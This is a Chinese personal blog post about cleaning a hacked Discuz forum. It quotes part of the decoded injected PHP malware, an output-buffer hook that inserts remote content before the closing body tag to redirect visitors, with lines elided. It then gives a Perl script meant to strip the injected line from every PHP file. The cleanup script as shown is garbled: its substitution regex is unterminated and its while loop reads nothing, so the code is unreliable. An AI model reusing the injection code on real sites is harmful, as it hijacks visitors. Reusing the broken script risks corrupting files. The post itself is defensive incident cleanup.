周末在准备澳大利亚的行程,想起半年前申请了一个Welvxing.com的域名,并且也用Discuz X2搭了个论坛(We旅行),不过一直荒废在那里。趁周末搜集资料时简单的折腾了一下,正好用来记录分享行程攻略。一直用的Chrome也没觉得有什么异常,偶尔用IE打开的时候发现会自动跳转到一个莫名其妙的网站。一想坏了,可能被注入代码了,一看PHP源文件,果然在第一行被注入了一段base64加密过的代码(本来想将代码贴进来,不过Dreamhost不让这么干,一直报503错误,只好作罢)。
解码以后的代码为:
if(function_exists('ob_start')&&!isset($_SERVER['mr_no'])){ $_SERVER['mr_no']=1; if(!function_exists('mrobh')){ function get_tds_777($url{$content="";$content=@trycurl_777($url);
...此处省略若干行
function mrobh($content){ @Header('Content-Encoding: none'); $decoded_content=gzdecodeit($content); if(preg_match('/\<\/body/si',$decoded_content)){ return preg_replace('/(\<\/body[^\>]*\>)/si',gml_777()."\n".'$1',$decoded_content); }else{ return $decoded_content.gml_777(); } } ob_start('mrobh'); } }
头疼的时,几乎所有的PHP文件都受影响了,2000个多啊,手工改还不要了亲命了。好在有Perl帮忙,遍历所有子目录的文件也不需要写递归,简单几行代码就可以搞定了:
#!/usr/bin/perl
use File::Find;
sub clean_file {
my $file = shift;
my $tmp = $file.".tmp";
print "clean file $file ...\n";
open(FILE, $file) or die "can not open $file\n";
open(TMP, ">$tmp") or die "can not open $tmp\n";
while(){
my $line = $_;
$line =~ s/^.*aWYoZnVuY3Rpb25fZXhpc.*$/
$line =~ s/\r\n$/\n/;
print TMP $line;
}
close(FILE);
close(TMP);
system("mv $tmp $file");
}
sub process {
my $file = $File::Find::name;
if ($file =~/\.(php)$/i){
clean_file($file);
}
}
find(\&process, '/home/ningoo/welvxing.com');
注:清理之前注意备份现场,要是脚本有点小问题,到时候就追悔莫及了^_^
您可能也喜欢: |
在PHP使用MemCached |
编写Perl模块 |
用Perl的hash数组实现个性化监控 |
Redhat上安装Perl DBD::mysql驱动 |
Redhat上安装Perl DBI模块 |
无觅 |